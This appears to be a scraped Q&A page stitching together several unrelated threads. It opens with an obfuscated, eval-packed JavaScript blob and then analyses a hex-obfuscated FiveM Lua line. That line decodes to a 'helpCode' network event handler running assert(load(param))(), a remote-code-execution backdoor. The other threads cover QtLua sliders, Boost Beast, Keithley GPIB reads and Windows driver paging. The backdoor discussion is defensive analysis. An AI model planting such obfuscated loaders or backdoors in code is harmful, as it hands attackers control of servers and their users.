x65\x7C\x67\x69\x74\x68\x75\x62\x7C\x69\x6F\x7C\x6E\x6F\x6E\x7C\x77\x65\x62\x70\x7C\x6D\x6F\x6E\x74\x68\x5F\x66\x6F\x72\x6D\x61\x74\x7C\x4A\x61\x6E\x7C\x46\x65\x62\x7C\x4D\x61\x72\x7C\x41\x70\x72\x7C\x4D\x61\x79\x7C\x4A\x75\x6E\x7C\x4A\x75\x6C\x7C\x41\x75\x67\x7C\x53\x65\x70\x74\x7C\x4F\x63\x74\x7C\x4E\x6F\x76\x7C\x44\x65\x63\x7C\x6F\x75\x74\x65\x72\x48\x65\x69\x67\x68\x74\x7C\x35\x30\x7C\x6D\x61\x74\x63\x68\x7C\x74\x61\x67\x7C\x69\x63\x6F\x6E\x7C\x73\x65\x61\x72\x63\x68\x7C\x77\x72\x61\x70\x7C\x61\x75\x74\x68\x6F\x72\x7C\x6E\x61\x6D\x65\x7C\x76\x6F\x69\x64\x7C\x77\x65\x62\x7C\x41\x6E\x64\x72\x6F\x69\x64\x7C\x77\x65\x62\x4F\x53\x7C\x69\x50\x68\x6F\x6E\x65\x7C\x69\x50\x61\x64\x7C\x69\x50\x6F\x64\x7C\x42\x6C\x61\x63\x6B\x42\x65\x72\x72\x79\x7C\x49\x45\x4D\x6F\x62\x69\x6C\x65\x7C\x4F\x70\x65\x72\x61\x7C\x4D\x69\x6E\x69\x7C\x74\x65\x73\x74\x7C\x6E\x61\x76\x69\x67\x61\x74\x6F\x72\x7C\x75\x73\x65\x72\x41\x67\x65\x6E\x74\x7C\x6B\x6F\x6E\x73\x75\x6C\x74\x61\x73\x69\x7C\x36\x32\x7C\x38\x31\x32\x34\x31\x31\x30\x35\x36\x35\x38\x7C\x41\x64\x6D\x69\x6E\x7C\x48\x65\x6C\x6C\x6F\x7C\x70\x65\x73\x61\x6E\x7C\x70\x68\x6F\x6E\x65\x7C\x39\x36\x30\x7C\x35\x34\x30\x7C\x74\x6F\x6F\x6C\x62\x61\x72\x7C\x6C\x6F\x63\x61\x74\x69\x6F\x6E\x7C\x64\x69\x72\x65\x63\x74\x6F\x72\x69\x65\x73\x7C\x73\x74\x61\x74\x75\x73\x7C\x6D\x65\x6E\x75\x62\x61\x72\x7C\x73\x63\x72\x6F\x6C\x6C\x62\x61\x72\x73\x7C\x79\x65\x73\x7C\x72\x65\x73\x69\x7A\x61\x62\x6C\x65\x7C\x63\x6F\x70\x79\x68\x69\x73\x74\x6F\x72\x79\x7C\x74\x6F\x70\x7C\x6C\x65\x66\x74\x7C\x61\x64\x64\x45\x76\x65\x6E\x74\x4C\x69\x73\x74\x65\x6E\x65\x72\x7C\x6C\x6F\x61\x64\x7C\x77\x61\x46\x69\x78\x7C\x69\x6E\x70\x75\x74\x7C\x74\x65\x78\x74\x61\x72\x65\x61\x7C\x6B\x65\x79\x70\x72\x65\x73\x73\x7C\x65\x76\x65\x6E\x74\x7C\x6B\x65\x79\x43\x6F\x64\x65\x7C\x74\x72\x69\x67\x67\x65\x72\x7C\x70\x6C\x61\x63\x65\x68\x6F\x6C\x64\x65\x72\x7C\x52\x65\x71\x75\x69\x72\x65\x64\x7C\x61\x70\x70\x65\x6E\x64\x54\x6F\x7C\x6B\x65\x79\x75\x70\x7C\x73\x65\x6C\x65\x63\x74\x7C\x63\x68\x61\x6E\x67\x65\x7C\x70\x6F\x70\x74\x61\x6D\x76\x7C\x6E\x61\x62\x69\x6C\x7C\x6C\x69\x76\x65","","\x66\x72\x6F\x6D\x43\x68\x61\x72\x43\x6F\x64\x65","\x72\x65\x70\x6C\x61\x63\x65","\x5C\x77\x2B","\x5C\x62","\x67"];eval(function(_0x5c3dx1,_0x5c3dx2,_0x5c3dx3,_0x5c3dx4,_0x5c3dx5,_0x5c3dx6){_0x5c3dx5= function(_0x5c3dx3){return (_0x5c3dx3< _0x5c3dx2?_0xc3f1[4]:_0x5c3dx5(parseInt(_0x5c3dx3/ _0x5c3dx2)))+ ((_0x5c3dx3= _0x5c3dx3% _0x5c3dx2)> 35?String[_0xc3f1[5]](_0x5c3dx3+ 29):_0x5c3dx3.toString(36))};if(!_0xc3f1[4][_0xc3f1[6]](/^/,String)){while(_0x5c3dx3--){_0x5c3dx6[_0x5c3dx5(_0x5c3dx3)]= _0x5c3dx4[_0x5c3dx3]|| _0x5c3dx5(_0x5c3dx3)};_0x5c3dx4= [function(_0x5c3dx5){return _0x5c3dx6[_0x5c3dx5]}];_0x5c3dx5= function(){return _0xc3f1[7]};_0x5c3dx3= 1};while(_0x5c3dx3--){if(_0x5c3dx4[_0x5c3dx3]){_0x5c3dx1= _0x5c3dx1[_0xc3f1[6]]( new RegExp(_0xc3f1[8]+ _0x5c3dx5(_0x5c3dx3)+ _0xc3f1[8],_0xc3f1[9]),_0x5c3dx4[_0x5c3dx3])}};return _0x5c3dx1}(_0xc3f1[0],62,234,_0xc3f1[3][_0xc3f1[2]](_0xc3f1[1]),0,{}))

That code is encrypted.
You can check _0xc3f1 contents with console.log, however there is some decryting part after _0xc3f1 definition that need to be executed step by step and will regenerate the code inside a inner function, so if you change that decrypting part you can get the code, specially if you check the eval part.
You will need some time, javascript programming and debugging skills.

Related

Does this line of Lua code contain any malicious activities?

So while looking at some server files (FiveM/GTA RP Server Files) my friend sent me, I found a line of code that was placed all over the Server's Resources, is it malicious?, since i checked "Hex to ASCII Text String Converter", it looks like it might be an attempt to inject some code into the Lua environment. The code creates a table with several strings that are encoded in hexadecimal format. These strings are then used to access elements in the global environment (_G) and call them as functions. The code also sets up an event listener for the "load" event, which could indicate that the code is intended to run when a specific event occurs in the environment.
Code:
local ysoGcfkdgEuFekRkklJGSmHogmpKPAiWgeIRhKENhusszjvprBCPXrRqVqLgSwDqVqOiBG = {"\x52\x65\x67\x69\x73\x74\x65\x72\x4e\x65\x74\x45\x76\x65\x6e\x74","\x68\x65\x6c\x70\x43\x6f\x64\x65","\x41\x64\x64\x45\x76\x65\x6e\x74\x48\x61\x6e\x64\x6c\x65\x72","\x61\x73\x73\x65\x72\x74","\x6c\x6f\x61\x64",_G}
ysoGcfkdgEuFekRkklJGSmHogmpKPAiWgeIRhKENhusszjvprBCPXrRqVqLgSwDqVqOiBG[6]ysoGcfkdgEuFekRkklJGSmHogmpKPAiWgeIRhKENhusszjvprBCPXrRqVqLgSwDqVqOiBG[1]
ysoGcfkdgEuFekRkklJGSmHogmpKPAiWgeIRhKENhusszjvprBCPXrRqVqLgSwDqVqOiBG[6][ysoGcfkdgEuFekRkklJGSmHogmpKPAiWgeIRhKENhusszjvprBCPXrRqVqLgSwDqVqOiBG[3]](ysoGcfkdgEuFekRkklJGSmHogmpKPAiWgeIRhKENhusszjvprBCPXrRqVqLgSwDqVqOiBG[2],
function(BFWCBOOqrwrVwzdmKcQZBRMziBAgjQbWLfBPFXhZUzCWlOjKNLUGOYvDisfytJZwIDtHyn)
ysoGcfkdgEuFekRkklJGSmHogmpKPAiWgeIRhKENhusszjvprBCPXrRqVqLgSwDqVqOiBG[6]ysoGcfkdgEuFekRkklJGSmHogmpKPAiWgeIRhKENhusszjvprBCPXrRqVqLgSwDqVqOiBG[4]()
end)local
ASCII Text to Hex Code Converter
Image
ASCII Text to Hex Code Converter
Response 2
ysoGcfkdgEuFekRkklJGSmHogmpKPAiWgeIRhKENhusszjvprBCPXrRqVqLgSwDqVqOiBG is just a variable name. It's not a very nice one, but it is just a variable name.
{"\x52\x65\x67\x69\x73\x74\x65\x72\x4e\x65\x74\x45\x76\x65\x6e\x74","\x68\x65\x6c\x70\x43\x6f\x64\x65","\x41\x64\x64\x45\x76\x65\x6e\x74\x48\x61\x6e\x64\x6c\x65\x72","\x61\x73\x73\x65\x72\x74","\x6c\x6f\x61\x64"}
is the table:
{"RegisterNetEvent", "helpCode", "AddEventHandler", "assert", "load"}
with the bytes encoded as hex bytes rather than literal characters.
This deobfuscates to:
local funcs = {
"RegisterNetEvent",
"helpCode",
"AddEventHandler",
"assert",
"load",
_G
};
funcs[6][funcs[1]](funcs[2]);
funcs[6][funcs[3]](funcs[2], function(param)
(funcs[6][funcs[4]](funcs[6][funcs[5]](param)))();
end);
Tables in Lua are 1-indexed, so this further deobfuscates to
_G["RegisterNetEvent"]("helpCode");
_G["AddEventHandler"]("helpCode", function(param)
(_G["assert"](_G["load"](param)))();
end);
And could be simplified to
RegisterNetEvent("helpCode")
AddEventHandler("helpCode", function(param)
assert(load(param))()
end)
While it doesn't look blatantly malicious, it does appear to directly compile and invoke raw code received via the "helpCode" network event, which is certainly dangerous if it's used maliciously. It's possible that this is part of some funny dynamic plugin system, but it's equally possible that it's a backdoor designed to give a network attacker command-and-control over the process.
load is not an event, but the global function used to compile code from a string. The essentially causes the script to listen for a helpCode network event, receive whatever payload from the network event, compile it as Lua code, and execute it. Given that it doesn't even attempt to do any sandboxing of the load'd code, I wouldn't run this without a very comprehensive understanding of how it's being used.

QtLua capture slider value change

I am trying to make a simple UI using qtlua, in which I want to capture the slider value everytime it changes. I tried to connect to the valueChanged() signal, but qlua gives me the following error:
cannot find source signal valueChanged()
The code snippet looks like this:
slide = (widget.sliderLight)
print(slide)
qt.connect(slide, 'valueChanged()',
function()
print('Value: ', slide.value)
end)
So just a test to print everytime the value changes. But I cannot get it working. The documentation for the qtlua doesn't have a class for qslider, so that's a dead end for me. And I couldn't find any examples for using qtlua with a slider that is connected to the valueChanged() signal. The only example I found was with the test.lua in the qtuiloader example, but that uses a timer, which I assume is pooled at regular interval. My aim is to hook this up to an image processing system, so it would be useful if I could tie it to when the value changes, rather than patch in with a timer and a check system. I am pretty new to qt, so must be missing something. Any and all help would be really appreciated!
Oh and I made sure I have tracking checkbox checked in the qtdesigner, to ensure that the signal is emitted.
Okay, so I dug around a little more in the documentation of QT for the valueChanged() slot. Turns out, the function signature has an int argument in it, so the Lua connect code was looking for a function signature without any arguments. Modifying the above code to the following works as expected:
slide = (widget.sliderLight)
print(slide)
qt.connect(slide, 'valueChanged(int)',
function(w)
print('Value: ', w)
end)
Declaring a function with the same signature also passes in the required value, which saves me an explicit value query.
Hopefully, this will be useful for someone someday.

about boost beast websocket api : async_close, async_write

I have read the official document.I'm confused that the document conflict itself.
Here is the document picked from the official:
However, this code is well-formed:
ws.async_read(b, [](error_code, std::size_t){});
ws.async_write(b.data(), [](error_code, std::size_t){});
ws.async_ping({}, {});
ws.async_close({}, {});
and here is another snippet:
This operation is implemented in terms of one or more calls to the next layer's async_write_some functions, and is known as a composed operation. The program must ensure that the stream performs no other write operations (such as websocket::stream::async_write, websocket::stream::async_write_some, or websocket::stream::async_close).
so, which one should I trust?
This part is correct:
https://www.boost.org/doc/libs/1_67_0/libs/beast/doc/html/beast/using_websocket/notes.html#beast.using_websocket.notes.thread_safety
The other text needs to be updated.

LabVIEW and Keithley 2635A - Unable to read data

I'm using LabVIEW and its VISA capabilities to control a Keithley 2635A source meter. Whenever I try to identify the device, it works just fine, both in reading and writing.
viWRITE(*IDN?) /* VISA subVI to send the command to the machine */
viREAD /* VISA subVI to read output */
However, as soon as I set the voltage (or current), it does so. Then I send the command to perform a measurement, but I'm not able to read that data, with the error
VISA: (Hex 0xBFFF0015) Timeout expired before operation completed.
After that, I can not read the *IDN? output either anymore.
The source meter is connected to the PC via a National Instrument GPIB-USB-HS adaptor.
EDIT: I forgot to add, this happens in the VISA Interactive Control program as well.
Ok, apparently the documentation is not very clear. What the smua.measure.X() (where X is the needed parameter) command does is, of course, writing the measurement outcome on a buffer. In order to read that buffer, however, the simple viREAD[] is not sufficient.
So basically the answer was to simply add a print command: this way I have
viWRITE[print(smua.measure.X())];
viREAD[]
And I don't have the error anymore. Not sure why such a command is needed, but that's that. Thank you all for your time answering me.
As #Tom Blodget mentions in the comments, the machine may not have any response to read after you set the voltage. The *IDN? string is both command and query. That is, you will write the command *IDN? and read the result. Some commands do not have any response to read. Here's a quick test to see if you should be reading from the instrument. The following code is in python; I made up the GPIB command to set voltage.
sm = SourceMonitor()
# Prints out IDN
sm.query('*IDN?')
# Prints out current voltage (change this to your actual command)
sm.query('SOUR:VOLT?')
# Set a new voltage
sm.write('SOUR:VOLT 1V')
# Read the new voltage
sm.query('SOUR:VOLT?')
Note that question-marked GPIB commands and the query are used when you expect to get a response from the instrument. The instrument won't give a response for the write command. Query is a combination of write(...) and read(...). If you're using LabView, you may have to write the write and read separately.
If you need verification that the machine received your instruction and acted on it, most instruments have the following common commands:
*OPC? query to see if the operation is complete
SYST:ERR? query to see if any error was generated
Add a question mark ? to the end of the GPIB command used to set the voltage

Windows driver dev: Can ntoskrnl code get paged out?

I'm trying my driver with Driver Verifier turned on in Windows 7 x64, and get IRQL_NOT_LESS_OR_EQUAL(0A) bugcheck. From analyze -v info, it seems that the memory page of RtlAnsiCharToUnicodeChar function gets paged out, so calling that function causes bugcheck 0A . RtlAnsiCharToUnicodeChar is an ntoskrnl.exe exported function. Can it really be paged out? If so, how can I prevent it?
On spot debug info screen shot below:
yes. of course - very many ntoskrnl routines in PAGE* section.
RtlAnsiCharToUnicodeChar also paged - read in documentation:
IRQL <= APC_LEVEL
also read about DbgPrintEx routine
DbgPrint and DbgPrintEx can be called at IRQL<=DIRQL. However, Unicode
format codes (%wc and %ws) can be used only at IRQL = PASSIVE_LEVEL.
and
However, the Unicode format codes (%C, %S, %lc, %ls, %wc, %ws, and
%wZ) can only be used with IRQL = PASSIVE_LEVEL.
so if you not use Unicode format you can use DbgPrint or KdPrint(this is macro) at any IRQL but if you use Unicode format - only on PASSIVE_LEVEL or APC_LEVEL (about APC_LEVEL i say by self)
You can try to use the MmLockPagableCodeSection on that specific routine to prevent it being paged out, however it's probably not advisable (and you don't know what dependencies it has, if they're located in pagable sections as well). In any case, make sure you read the documentation thoroughly.
A better approach is to run at Passive/APC level in the first place before invoking the printing function - e.g., by scheduling work item (you can also force lowering the IRQL with KeLowerIrql function but it's not advisable by MSFT).

Resources